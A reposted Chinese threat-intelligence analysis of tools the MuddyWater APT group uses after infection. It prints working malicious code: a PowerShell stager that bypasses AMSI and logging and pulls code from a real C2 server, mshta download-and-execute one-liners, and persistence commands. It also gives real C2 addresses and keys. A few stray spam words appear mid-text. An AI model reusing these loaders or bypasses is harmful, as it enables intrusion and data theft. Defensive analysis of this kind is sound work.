APT组织MuddyWater使用工具起底

简介

MuddyWater是一个APT组织,主要以中东国家的政府机构和电信部门为攻击目标,所染指的国家包括伊拉克、沙特阿拉伯、巴林、约旦、土耳其和黎巴嫩,也包含一些中东附近地区的国家,如阿塞拜疆、巴基斯坦和阿富汗等。

MuddyWater于2017年首次亮相,其间攻陷了众多组织机构,且至今一直处于活跃状态。该威胁团伙于第一阶段所使用的感染手法和诱饵文件已被众多安全机构分析过,我们在之前的文章——《MuddyWater再度扩大影响范围》中对其也有过描述。

然而,感染之后的过程的细节迄今为止还没有被公开过。MuddyWater融合了多种工具和技术来监视并窃取目标受害者的信息,这些工具和技术大部分是由该组织自身在Python、c#和PowerShell中开发的,包括c#和Python的多个下载/执行工具、RAT病毒、SSH Python脚本、以及用于提取凭证和历史记录的多个Python工具,等等。

本报告将对MuddyWater在最初感染后所使用的一系列工具做详细说明,还将阐述攻击工具被部署到受害者系统内部后,用以扰乱调查的欺骗性技术(比如用中文和俄文的字符串,以及伪装成黑客组织 “RXR Saudi Arabia” )。据我们的调查结果,攻击者还犯有OPSEC错误,但由于执法部门正在进行调查,我们将不对这些错误做说明。

工具集分析

在对MuddyWater活动的研究中,我们能够识别出他们所使用的一些工具和脚本,大多数工具都是定制开发的,还有一些则是公开的通用工具。

包括:

· Nihay  –  下载执行工具(C#)

· LisfonService  –  C#RAT

· Client.py  –  Python RAT

· Client-win.py  –  SSH Python脚本

· Rc.py/Rc.exe  –  Python RAT基础

· VBScript和VBA文件

· 第三方脚本(Muddy,Losi Boomber,Slaver reverse tunnel…)

· 以及第二阶段的PowerShell脚本

大多数工具都是Python或PowerShell编写的脚本。MuddyWater使用Py2Exe和PyInstaller将各种具有攻击性的Python脚本编译成可执行文件,以实现可移植性,比如Python脚本“CrackMapExec”、“shootback”和“Lazagne”。

MuddyWater还使用“PS2EXE”将PowerShell脚本转换为可执行文件,并将原始PowerShell代码作为一个Base64编码的字符串嵌入其中。我们注意到,MuddyWater习惯使用PowerShell Reflective DLL注入来部署Metasploit Stageless Meterpreters,32位和64位版本都有。Stageless Meterpreter通常具有“Ext_server_stdapi.x64.dll”,“Ext_server_extapi.x64.dll”和“Ext_server_espia.x64.dll”的扩展名。

Nihay  –  下载执行工具(C#)

名为“Nihay”的工具是一个用C#编写的木马,它的功能相对基础——从硬编码URL(例如https://beepaste[.]io/view/raw/pPCMo1)处下载PowerShell单行命令 ,并将其传递给“cmd.exe /c”。

LisfonService  –  C#RAT

LisfonService会收集受害者的一些基本信息:用户名、域或工作组名称、计算机名称、计算机内部IP地址、操作系统版本、操作系统版本和公共IP地址。LisfonService还会从隐藏真实C2服务器的大量硬编码代理URL中随机选择一个URL,一旦受害者标记成功,则分配给受害者一个编号,稍后将用于从C2请求命令,例如执行PowerShell代码或生成蓝屏。

在反编译的C#代码中,有一个名为“str1”的引用变量,它实际上没有被使用。我们认为它是早期测试阶段的残留,可能是C2的IP地址。

str1 = "http://78.129.222.56:8090/244271232658346635408608084822345041494";

而访问此URL时,它会显示可能是故意留给研究人员的“嘲讽”:

APT组织MuddyWater使用工具起底

Client.py  –  Python RAT

我们认为Client.Py是由MuddyWater开发的Python 3.6 RAT,通过利用PyInstaller将其作为编译的Python可执行文件部署在受害计算机上。执行流程如下:

1.收集有关受害者计算机的基本信息:计算机名称,操作系统名称,操作系统版本和用户名。然后将信息发送到C2服务器192.64.86 [.] 174:8980。

2.它支持多个命令,其中一些命令是通过创建临时.VBS文件并调用cscript.exe运行来执行的。所支持的命令能让此RAT实现基本的键盘记录功能,比如窃取Chrome中保存的密码,查杀任务管理器,远程命令执行以及在消息框中显示警报消息。中国菜刀

Client-win.py  –  SSH Python脚本

此Python脚本由PyInstaller编译,利用Python paramiko插件创建到C2的SSH连接。

1.在端口8085上连接到C2的硬编码IP地址(例如104.237.233 [.] 38)并发送字符串“ip”。然后它应该能收到“ip1 :: ip2 :: ip3”形式的IP列表。

2.接着该脚本连接到相同的硬编码IP地址并发送字符串“pw”,从C2获取“pw1 \ npw2 \ npw3”形式的密码列表。

3.最后,它用硬编码用户名列表(如“cisco”、“root”、“admin”),与步骤1中每个ip上接收到的所有密码进行配对,以对SSH会话进行身份验证。

Rc.py/Rc.exe  – 基础Python RAT

rc.py是由PyInstaller编译的Python脚本,由UPX加壳。该脚本接收C2的IP地址作为参数,并在硬编码端口9095上与其连接。它能支持系统上的一些命令来执行收集密码、远程命令执行等动作。

· “kill”自我终止。

· “cd”用于更改当前目录。

· “dopass”用于从Chrome,IE,Mozilla,Opera和Outlook获取凭据。

· “info”提取有关受害者计算机的基本信息:操作系统名称/版本,32位/ 64位,处理器名称,用户名,计算机名称,计算机FQDN,内部IP地址,MAC地址和公共IP地址。

· “shell”从C2接收文件并将它们保存在“C:\ ProgramData”中

· “exec”产生由C2确定的新进程。

除了上述命令之外,它还能调用cmd.exe / c以生成由C2确定的新进程,输出结果始终发送到C2。

VBScript和VBA文件

MuddyWater首选的感染媒介之一是使用武器化的启用宏的Office 97-2003 Word文档,其恶意VBA代码包含Base64编码的payload。

第一个文件是恶意VBScript,第二个文件是Base64编码的payload。VBS调用powershell.exe对第二个文件进行base64解码并调用它,如下所示:

WScript.CreateObject("WScript.Shell").Run "mshta vbscript:Close(Execute(""CreateObject(""""WScript.Shell"""").Run""""powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));"""",0 ""))",0

此项技术已经在野外数次发现,我们也是将其归于MuddyWater所为。

第三方脚本

我们在MuddyWater中发现了几个基于“Lazagne”的脚本,第一个名为Losi Boomber,用于从浏览器和Outlook中提取凭据和历史记录。

APT组织MuddyWater使用工具起底

Losi Boomber命令行参数

Muddy是另一个基于Lazagne的脚本,负责从邮件客户端和浏览器中提取凭据。

APT组织MuddyWater使用工具起底

Muddy的命令行参数

在本例样本中,它能支持以下浏览器:Chrome,IE,Mozilla,Opera和Coccoc,而在邮件客户端方面,它只支持Outlook。

APT组织MuddyWater使用工具起底

一些嵌入式导入的Python模块

Slaver.py是一个从“ShootBack”中获取的编译过的Python脚本,用于建立反向tcp隧道。

APT组织MuddyWater使用工具起底

Slaver命令行参数

Cr.exe是一个基于CrackMapExec的编译Python脚本,用于凭据收集和横向代码执行。 Mmap.py(被MuddyWaters称为“MapTools”)也基于CrackMapExec并用于相同的目的。天空彩

APT组织MuddyWater使用工具起底

嵌入式导入Python模块

第二阶段PowerShell脚本

MuddyWater广泛使用PowerShell脚本用于不同的目的:

情况1:获取下一阶段的PowerShell脚本:

If($PSVerSIonTAblE.PSVeRSIon.MAJoR -Ge 3){
$GPS=[ReF].AsSemBLy.GEtTYpE('System.Management.Automation.Utils')."GetFiE`lD"('cachedGroupPolicySettings','N'+'onPublic,Static').GeTVAluE($NulL);
If($GPS['ScriptB'+'lockLogging']){
$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
}ELsE{
[SCriPTBlOCk]."GetFIe`Ld"('signatures','N'+'onPublic,Static').SETVAlue($NUlL,(NeW-OBJECt ColLECTIOnS.GENERIC.HaShSEt[STrInG]))
}
[REf].ASsembly.GetTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFielD('amsiInitFailed','NonPublic,Static').SeTVALUE($NUll,$tRuE)};};
[SyStEM.NEt.SerVICEPoINtMaNAGeR]::EXPEct100CONTiNuE=0;$K=[SySteM.TExt.EncoDINg]::ASCII.GetBYtES('mdxg_U(,Q3[;~a20DFhrvO+H-NAnKz!V');
$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$_-BXOR$S[($S[$I]+$S[$H])%256]}};
$ie=New-Object -COM InternetExplorer.Application;
$ie.Silent=$True;
$ie.visible=$False;
$fl=14;
$ser='http://104.237.233.40:7070';
$t='/admin/get.php';
$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: oBLKRK3GNKZcBGZeWl+s4ExIaQ0=');
while($ie.busy){
Start-Sleep -Milliseconds 100};
$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;
try {$data=[System.Convert]::FromBase64String($ht)}
catch {$Null}
$iv=$DATA[0..3];
$data=$dATa[4..$DATa.LENGTh];
-joiN[ChaR[]](& $R $DATa ($IV+$K))|IEX

除了禁用PowerShell脚本块日志记录和绕过AMSI(反恶意软件扫描接口)之外,它还使用“InternetExplorer.Application”COM对象从http://104.237.233[.]40:7070/admin/get.php检索HTML内容以进入下一个阶段。有趣的是,它使用了一个硬编码的CloudFlare HTTP标头值:“CF-RAY: oBLKRK3GNKZcBGZeWl+s4ExIaQ0=”。

情况2:我们还确定了MuddyWater的PowerShell原型RAT,它能实现收集用户信息(内部IP地址,用户名,域名,32位/ 64位),RC4加密/解密,Base64编码和解码,

为PowerShell安全设置更改缓存组策略设置(cachedGroupPolicySettings),EnableScriptBlockLogging,EnableScriptBlockInvocationLogging。它还能禁用所有HTTPS SSL证书检查。

在这种情况下,开头被重命名为“km”并直接调用IP为“78.129.139 [.] 134”,端口为“8080”,RC4键设置为“KharashoNIKharasho!@#123456_6”的C2:

km -ip 78.129.139.134 -port 8080 -Key KharashoNIKharasho!@#123456_6 -Delay 20

情况3:一个名为“Iranicard.exe”的WinRAR SFX(自解压缩存档)。嵌入式SFX预设置脚本是一个MSHTA单行命令,它通过调用一个PowerShell单行命令从“https://dzoz[.]us/js/js.js”处下载并执行PowerShell代码。

Presetup=mshta vbscript:Close(Execute("CreateObject(""WScript.Shell"").run ""powershell.exe -nop -w hidden -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $V.downloadstring('https://dzoz.us/js/js.js');"",0"))

归因,干扰和OPSEC

在我们对MuddyWater活动的分析中,我们发现了多个OPSEC错误,并分析了它所使用的一些干扰技术。在所有OPSEC错误中,很多都是暴露了PDB文件路径。

“dragon”和“Panda”字符串

名为“LisfonService”的.Net RAT具有“dragon”和“Panda”用户名的PDB文件路径。

LisfonService PDB文件路径中的Dragon:

C:\Users\dragon\Documents\Visual Studio 2015\Projects\64\Telegram\LisfonService\obj\Release\LisfonService.pdb
TestService(LisfonService早期版本)中的PandaPDB文件路径:
C:\Users\Panda\Documents\Visual Studio 2010\Projects\TestService\TestService\obj\x86\Release\TestService.pdb

Panda和Dragon的出现很可能是攻击者故意想把嫌疑引向来自中国的威胁行为者,当然也有可能他只是恰好喜欢这两种动物。值得一提的是,在一些PowerShell RAT中,攻击者还将“$ dragon_middle”变量名称用于C2代理URL组。

APT组织MuddyWater使用工具起底来自Powershell样本的$ dragon_middle

武器化word文档中的用户名

多武器化的Office Word文档还包含了创作者机器的嵌入路径。Office在会某些情况下嵌入这些路径,比如当某人将二进制对象(如OLE控件,如文本框或命令按钮)添加到Word文档中时。这些PDB能提供如下用户名:poopak,leo,Turk和Vendetta。

C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd

中文字符串

在一些PowerShell RAT payload例如Ffb8ea0347a3af3dd2ab1b4e5a1be18a)中可以找到多个中文字符串,这些字符串似乎是故意留下的,意在干扰分析人员。

      if (IQQXIJFBIIVIOKFCSXFHBBQFFDMWTL -p "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -k "MalwareDefenderSDK" -v "wscript $tempPath$filenamePathV" -eq "error"){
           Write-Host "无法访问本地计算机寄存器"
      }
      try{
          schtasks /Create /RU system /SC ONLOGON /TN Microsoft\WindowsMalwareDefenderSDK /TR "wscript $tempPath$filenamePathV" /F
      }
      catch{
          Write-Host "任务计划程序访问被拒绝"
      }
  }
[System.Net.WebResponse] $resp = $webreq.GetResponse();
               if ($resp -ne $null){
                     $data = $resp.GetResponseStream();
                     [System.IO.StreamReader] $res_data = New-Object System.IO.StreamReader $data;
                     [String] $result = $res_data.ReadToEnd();
               }
          }
          catch {
               Write-Host  '无法连接到网址,请等待龙...'
               $result = "error"
          }

俄语字符串,以及冒充“RXR Saudi Arabia”黑客组织

在另一个PowerShell样本(md5:e684aa1c6e51f4696a836ecb6ff1e143,filename:km.ps1)中,攻击者在建立与C2服务器(78.129.139 [.] 134)的连接时使用俄语单词作为RC4密钥。

km -ip 78.129.139.134 -port 8080 -Key KharashoNIKharasho!@#123456_6 -Delay 20

此外,IP:78.129.139 [.] 134也用作其他样本的C2。有趣的是,在访问C2时,它显示一个空白网页,其HTML源代码则有一个特殊的HTML标记值,表明攻击者试图冒充一个名为RXR Saudi Arabia的沙特黑客组织。

APT组织MuddyWater使用工具起底

结论

近年来,MuddyWater无论在其恶意软件功能上或是攻击目标上都呈现不断扩大的趋势,其手法和工具都相当成熟完善,而对Python和PowerShell的使用,虽然相对简单,但在监视并窃取受害者信息上却十分灵活有效。

也是这种持续进步的能力,能让MuddyWater在不断变化的中东地缘政治局面中持续发展,对分析人员来说,这种挑战也是与时俱进的。我们推测MuddyWater在未来可能会将对0 day漏洞的利用融合到其攻击手段中。不过当前他们的OPSEC并不算完美,还是有些细节会暴露他们的蛛丝马迹。

猜你喜欢

转载自blog.csdn.net/systemino/article/details/89845533
今日推荐